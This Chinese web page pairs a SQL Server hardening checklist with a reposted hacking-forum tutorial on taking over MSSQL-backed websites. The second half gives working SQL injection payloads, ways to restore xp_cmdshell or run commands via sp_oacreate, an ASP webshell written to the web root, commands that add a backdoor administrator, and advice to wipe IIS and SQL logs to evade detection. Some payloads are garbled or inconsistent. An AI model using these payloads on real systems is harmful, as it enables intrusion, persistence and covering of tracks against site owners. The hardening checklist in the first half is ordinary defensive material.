Windows SQL Server 安全检查列表
作者:未知 文章来源:未知 点击数:163 更新时间:2005-9-17 【字体:小 大】
1. 确认已经安装了NT/2000和SQL Server的最新补丁程序,不用说大家应该已经安装好了,但是我觉得最好还是在这里提醒一下。
2. 评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。 多协议是明智的选择, 但是它有时不能在异种的环境中使用。
3. 给 “sa” 和 “probe” 帐户设定强壮的密码来加强其安全性。设定一个强壮的密码并将其保存在一个安全的地方。 注意: probe帐户被用来进行性能分析和分发传输。 当在标准的安全模态中用的时候 , 给这个帐户设定高强度的密码能影响某些功能的使用。
4. 使用一个低特权用户作为 SQL 服务器服务的查询操作账户,不要用 LocalSystem 或sa。 这个帐户应该有最小的权利 ( 注意作为一个服务运行的权利是必须的)和应该包含( 但不停止)在妥协的情况下对服务器的攻击。 注意当使用企业管理器做以上设置时 , 文件,注册表和使用者权利上的 ACLs同时被处理。
5. 确定所有的 SQL 服务器数据,而且系统文件是装置在 NTFS 分区,且appropraite ACLs 被应用。 如果万一某人得到对系统的存取操作权限,该层权限可以阻止入侵者破坏数据,避免造成一场大灾难。
6.如果不使用Xp_cmdshell就关掉。 如果使用 SQL 6.5, 至少使用Server Options中的SQLExecutieCmdExec 账户操作限制非sa用户使用XP_cmdshell.
在任何的 isql/ osql 窗口中( 或查询分析器):
use master
exec sp_dropextendedproc’xp_cmdshell’
如果你不需要 xp_cmdshell 那请停用它。请记住一个系统系统管理员如果需要的话总是能把它增加回来。这也好也不好 – 一个侵入者可能发现它不在,只需要把他加回来。考虑也除去在下面的 dll但是移除之前必须测试因为有些dll同时被一些程序所用。 要找到其他的程序是否使用相同的 dll:
首先得到该 dll 。
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name=’xp_cmdshell’
其次,使用相同的 dll发现其他的扩展储存操作是否使用该dll。
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text=’xplog70.dll’
用户可以用同样的办法处理下面步骤中其他你想去掉的进程。
7. 如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 – 当这些储存程序被停用的时候 , 一些企业管理器功能可能丢失). 这些包括:
Sp_OAcreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetProperty
Sp_OAStop
如果你决定停用该进程那么请给他们写一个脚本这样在以后你用到他们的时候你能够把他们重新添加回来 。 记住, 我们在这里正在做的是锁定一个应用程序的功能 – 你的开发平台应该放到其他机器上。
8. 禁用你不需要的注册表存取程序。(同上面的警告)这些包括:
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regremovemultistring
注意 :我过去一直在这里列出 xp_regread/ xp_regwrite但是这些程序的移除影响一些主要功能包括日志和SP的安装,所以他们的移除不被推荐。
9.移除其他你认为会造成威胁的系统储存进程。 这种进程是相当多的,而且他们也会浪费一些cpu时间。 小心不要首先在一个配置好的服务器上这样做。首先在开发的机器上测试,确认这样不会影响到任何的系统功能。在下面是我们所推荐的有待你评估的一些列表:
sp_sdidebug
xp_availablemedia
xp_cmdshell
xp_deletemail
xp_dirtree
xp_dropwebtask
xp_dsninfo
xp_enumdsn
xp_enumerrorlogs
xp_enumgroups
xp_enumqueuedtasks
xp_eventlog
xp_findnextmsg
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_logevent
xp_loginconfig
xp_logininfo
xp_makewebtask
xp_msver xp_perfend
xp_perfmonitor
xp_perfsample
xp_perfstart
xp_readerrorlog
xp_readmail
xp_revokelogin
xp_runwebtask
xp_schedulersignal
xp_sendmail
xp_servicecontrol
xp_snmp_getstate
xp_snmp_raisetrap
xp_sprintf
xp_sqlinventory
xp_sqlregister
xp_sqltrace
xp_sscanf
xp_startmail
xp_stopmail
xp_subdirs
xp_unc_to_drive
xp_dirtree
10. 在企业管理器中”安全选项” 之下禁用默认登录。(只有SQL 6.5) 当使用整合的安全时候,这使未经认可的不在 syslogins 表中使用者无权登陆一个有效的数据库服务器。
11. 除去数据库的guest账户把未经认可的使用者据之在外。 例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。
12. 若非必须,请完全地禁用SQL邮件功能。它的存在使潜在的攻击者递送潜在的 trojans ,病毒或是简单实现一个DOS攻击成为可能
13. 检查master..Sp_helpstartup看有无可疑的木马进程。 确定没有人已经在这里放置秘密的后门程序。 使用 Sp_unmakestartup 移除任何可疑进程。
14. 检查master..Sp_password看有无trojan代码。比较你的产品scripts和一个新安装的系统的默认scripts而且方便的保存。
15. 记录所有的用户存取访问情况。 从企业管理器做这些设定或通过以sa登陆进入查询分析器的下列各项:
xp_instance_regwrite N’HKEY_LOCAL_MACHINE’, N’SOFTWARE\ Microsoft\MSSQLServer\MSSQLServer’,N’AuditLevel’,REG_DWORD,3
16. 重写应用程序使用更多用户定义的储存和察看进程所以一般的对表的访问可以被禁用。 在这里你也应该看到由于不必经常进行查询计划操作而带来的性能提升。
17. 除去不需要的网络协议。
18. 注意SQL 服务器的物理安全。把它锁在固定的房间里,并且注意钥匙的安全。只要有机会到服务器面前,就总是会找到一个方法进入。
19. 建立一个计划的任务运行:
findstr/C:” Login Failed”\mssql7\log\*.*’
然后再重定向输出到一个文本文件或电子邮件,因此你监测失败的登录尝试。这也为系统管理员提供一个好的记录攻击的方法。 也有很多用来分析NT日志事件的第三者工具。 注意: 你可能需要将路径换成你安装SQL的路径。
20. 设定非法访问和登陆失败日志警报。到 企业管理器中的”Manager SQL Server Messages “搜寻任何有关无权访问的消息 ( 从查找”login failed”和”denied”开始). 确定你所有感兴趣的信息被记录到事件日志。然后在这些信息上设定警报 , 发送一个电子邮件或信息到一个能够对问题及时响应的操作员。
21. 确定在服务器和数据库层次上的角色都只被授给了需要的用户。 当 SQL Server 安全模型 7 有许多增强的时候, 它也增加额外的许可层,我们必须监控该层,确定没有人被授予了超过必需的权限。
22. 经常检查组或角色全体会员并且确定用组分配权限,这样你的审计工作能够简化。 确定当你在的时候 , 公众的组不能从系统表执行选择操作。
23. 花些时间审计用空密码登陆的请求。 使用下面的代码进行空密码检查:
使用主体
选择名字,
password
from syslogins
where password is null
order by name
24. 如果可能,在你的组织中利用整合的安全策略。 通过使用整合的安全策略,你能够依赖系统的安全,最大简化管理工作从维护二个分开的安全模型中分离开来。这也不让密码接近连接字串。
25. 检查所有非sa用户的存取进程和扩充存储进程的权限。 使用下面的查询定期的查询哪一个进程有公众存储权限。(在SQL Server中 使用 “type” 而不是 “xtype”):
Use master
select sysobjects.name
from sysobjects,sysprotects
where sysprotects.uid=0
AND xtype 在 (‘X’,'P’)
AND sysobjects.id=sysprotects.id
Order by name
26. 当时用企业管理器的时候,使用整合的安全策略。 过去,企业管理器被发现在标准的安全模态中储存 “sa” 密码在注册表的 plaintext 中。 注意: 即使你改变模态,密码也会留在注册表中。 使用 regedit 而且检查键:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\
MSSQLServer\SQLEW\ Regedi\
SQL 6.5
现在数据被隐藏在
HKEY_USERS\{yourSID}\software\Microsoft\Microsoft SQL server\80\tool\SQLEW\registered server X\SQL server group
(“SQL server组” 是默认值但是你可能已建立用户组因此相应地改变其位置)
27. 发展一个审核计划而且订定每月的安全报告,对IT主管可用的报表包括任何的新exploit,成功的攻击 , 备份保护 , 和对象存取失败统计。
28. 不要允许使用者交互式登陆到 SQL Server之上。这个规则适用任何的服务器。 一旦一个使用者能够交互式进入一个服务器之内,就有能用来获得管理员的存取特权得到管理员权限。
30. 尽力限制对SQL Server的查询与存取操作。用户可以用最小权限查询sql server中的很多东西。若非必须不要给他们机会
——————————————————————————–
阅读:20325 时间:2004-11-25 6:46:15 来源:黑客基地 编辑:古典辣M°
作者: 一道江河
有时候在入侵的时候总是碰到先烦恼的问题,比如SA遇到xp_cmdshell时,如果管理员把xp_cmdshell删了
怎么办呢?总是眼看着肉鸡跑了吧!今天我就对XP_CMDSHELL做一先解释,希望大家能看明白,能看懂
众所周知,在MSSQL中,通过XP_cmdshell存储扩展,拥护具有sysadmin权限,用来执行系统任意命令
但是那先网管也不是吃素的,都回把它删除,所以在SQL Injection攻击中,获得xp_cmdshell的执行权限
才是最终的目标,在MSSQL中一共有8中权限分别是 sysadmin dbcreator diskadmin processadmin
serveradmin setupadmin securityadmin bulkadmin 这8种 每一个都具有不同的权限,大家都因该可
以知道其中的sysadmin权限是最高的,也是我们想要的。。。
大家都知道在MSSQL中,SA的权限是至高无上的了,但是有时获得了个SA 却无法执行命令是,是不是很郁
闷了呢?获得了个SA一般我们都用SQLTOOLS.EXE连接吧!一个比较好的工具,我也喜欢,呵呵!首先还是
让我们看看吧!用SQLTOOLS.EXE连上后看看它的XP_cmdshell存储扩展是不是被删了,在“利用目录”菜单
中打开“执行数据库命令” 填入我们要执行的命令:
select count(*) from master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’
如果返回结果是1的话,说明它没有删除这个扩展存储过程,我们可以执行DOS命令了,如果不行呢?
接着看,还有办法,我们直接在数据库命令执行窗写入:
Exec master.dbo.addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’; select count(*) from
master.dbo.sysobjects where xtype=’X’ and name=’xp_cmdshell’
上面的意思就是恢复默认的存储过程,如果返回1的话说明恢复成功,不然就是存储扩展被删除了,需要我
们给它上传个xplog70.dll用SQLTOOLS.EXE自带的文件上传功能可以轻松实现了,把xplog70.dll文件传到
对方的c:\winnt\system32下,(不行的话,需传到对方的MSSQL目录里)在执行数据库命令:
c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll
Exec master.dbo.addextendedproc ‘xp_cmdshell’, ‘c:\winnt\system32\xplog70.dll’
好了,接下来就是我们常用的命令 net user 和 net localgroup administrators
命令了,还有清楚IIS日记和MSSQL日记就OK了!
上面的方法是可以了但我们还可以饶过xp_cmdshell ,来执行系统命令,大家知道在MSSQL中可以通过两个
存储扩展来创建activex自动脚本,呵呵,大家想到了吧!是xp_oacreate和sp_oamethod 通过它们执行系
统命令的语句我们可以自己给他加上哦,代码如下:
declare @o int
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘net start telnet’
上面那段代码的意思就是通过服务器上的 wscript.shel 来执行net start telnet 开启服务器的telnet
接下来呢就是通过FSO对服务器进行文件管理或者直接创建文件并写入数据,呵呵,可以直接写一个WEBSHE
LL到服务器上去哦!!!HOHO~~~~
declare @o int, @f int, @ret int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘creatextifile’, @f out, ‘c:\inetpub\wwwroot\mad.asp’, 1
exec @ ret = sp_oamethod @f, ‘writeline’, NULL, ‘<% set o =
server.createobject("wscript.shell": o.run("cmd.exe /c "&request.querystring("cmd") %>
上面的代码就在服务器c:\inetpub\wwwroot\mad.asp上创建了了只有两行的代码我们直接连上去就OK了
大家不防试试吧。下面我还是对大家入侵时做一先解释吧,希望大家能看明白,
举个例子现在咱们要入侵的网站是这个 www.***.com
第一还是踩点,找到入口,现在注入这么流行,还是注入吧,因为一般网站都是ASP+MSSQL结构来架设的假
如这个。www.***.com/script.asp?id=48
还是一样用, ; and 1=1 and 1=2判断一下,确定可以注入后,我们就可以利用这个漏洞拿到服务器和
数据库的一些相关信息。想看服务器打的补丁情况,我们提交:
www.***.com/script.asp?id=48 and 1=(select @@VERSION)
我想现在大部分服务器都打上SP4补丁了。我们看看其它的,看看他的数据库连接账号的权限,提交:
www.***.com/script.asp?id=48 and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))
如果返回正常,这证明当前连接的账号是服务器角色sysadmin权限了,看来连接账号多半是采用SA账号连
接的了,自己有好做的了,还是试一下。万一猜错了呢?提交:
www.***.com/script.asp?id=48 and ‘sa’=(select System_user)
用来查看连接账号是不是用sa 连接的,如果IE返回正常。这证明了连接账号真的是SA,看来权限是高了哦
(如果要获得已登录用户的身份,则使用Transact-SQL 语句:select SYSTEM_USER)
下面我们就利用MSSQL存储过程,得到WebShell,首先还是看看xp_cmdshell是否被管理员删除了 提交:
www.***.com/script.asp?id=48 and 1=(select count(*) FROM master.dbo.sysobjects where xtype =
‘X’ AND name = ‘xp_cmdshell’)
如果被删除了,NO PROBLEM 我们给他恢复一下。提交:
www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’,'xplog70.dll’
试一下 看看xp_cmdshell是不是恢复过来了 提交:
www.***.com/script.asp?id=48 and 1=(select count(*) FROM master.dbo.sysobjects where xtype =
‘X’ AND name = ‘xp_cmdshell’)
如果没有返回内容。这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了。现在大家可
以用上面的方法试试了,到这里有耐心的话还可以继续啊。可以用CZY提到的方法试试。
不过还用到两个MSSQL存储过程
xp_regread 扩展存储过程和xp_regread Web 助手存储过程:
xp_regread是用来读取注册表信息的,我们通过这个存储过程来得到保存在注册表中Web绝对路径
sp_makewebtask在我们这里是用来得到WebShell的,其主要功能就是导出数据库中表的记录为文件,文件
名你可以自己指定。当然我们这里就指定为ASP脚本文件
CZY的文章已经写得很详细了。所以,我这里就只简单的提一下吧! 先创建一个表,建一字段,然后向这个
字段中加入木马的内容。然后,把内容通过xp_makewebtask存储过程导出成ASP脚本保存在Web绝对路径中
再次删除建的临时表 不知道的可要到网上找找哦!
不过还是先看看这两个存储过程是不是被删了。。提交:
www.***.com/script.asp?id=48 and 1=(select count(*) FROM master.dbo.sysobjects where name=
‘xp_regread’)
www.***.com/script.asp?id=48 and 1=(select count(*) FROM master.dbo.sysobjects where name=
‘sp_makewebtask’)
如果两个都返回正常的话,说明两个存储过程都没有删除 :
(大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册表中得到,位置如下:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots
利用扩展存储过程xp_regread我们可以取得它的值.
EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,
‘SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’
这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?首先:先创建
一个临时表,表中加一字段,类型为:char 255。呵呵,用它来保存Web绝对路径的值。表建好后,我们就
用读取注册表的方法,把返回的值保存在一变量中。然后向新建的表中加入记录(即变量的值)。这样,
路径就写入到了表中。提交:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,
‘SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’, @result output insert
into 临时表 (临时字段名) values(@result);–
然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1) )
我们用CZY的方法继续提交:
www.***.com/script.asp?id=48;create table [dbo].[ABCD] ([DACB][char](255));
这样我们就成功地建了一个名为ABCD的表,并且添加了类型是char,长度为255的字段名DACB。然后向表中
加数据:
www.***.com/script.asp?id=48;create @result varchar(255) EXEC master.dbo.xp_regread
‘HKEY_LOCAL_MACHINE’,'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’,
@result output insert into cyfd (DACB) values(@result);–
继续提交从注册表中读出Web绝对路径,再把路径插入到刚建的表中。然后报出WebShell的绝对路径
www.***.com/script.asp?id=48 and 1=(select count(*) from cyfd where gyfd > 1)
IE返回错误,我们得到Web绝对路径 例如:e:\Inetpub\wwwroot
还要删除刚才建的表 提交:
www.***.com/script.asp?id=48;drop table cyfd;–
接下来就好办多了,路径都知道了。得到WEBSHELL因该没问题了吧,得到WEBSHELL后,通过WEBSHELL上传
xplog70.dll传到E:\inetpub\wwwroot目录下 我们给他恢复下。提交:
www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’,
‘e:\inetpub\wwwroot\xplog70.dll’
(恢复,支持绝对路径的恢复!)
用IE来查看一下是不是已经恢复了。提交:
www.***.com/script.asp?id=48 and 1=(select count(*) FROM master.dbo.sysobjects where xtype =
‘X’ AND name = ‘xp_cmdshell’)
如IE返回正常。说明已经恢复了!下面就建用户吧。。。。
www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell ‘net user abcd 123456 /add’
提升管理员
www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell ‘net localgroup administrators abcd
/add’
好了到了这里就OK了。。如果对方有终端的话,就连接吧。,还有清除IIS日志,和MSSQL日志 闪人!~
还有一点就是把xp_cmdshell也给他删除掉,不要让网管发现了。HOHO~~~~
0 评论.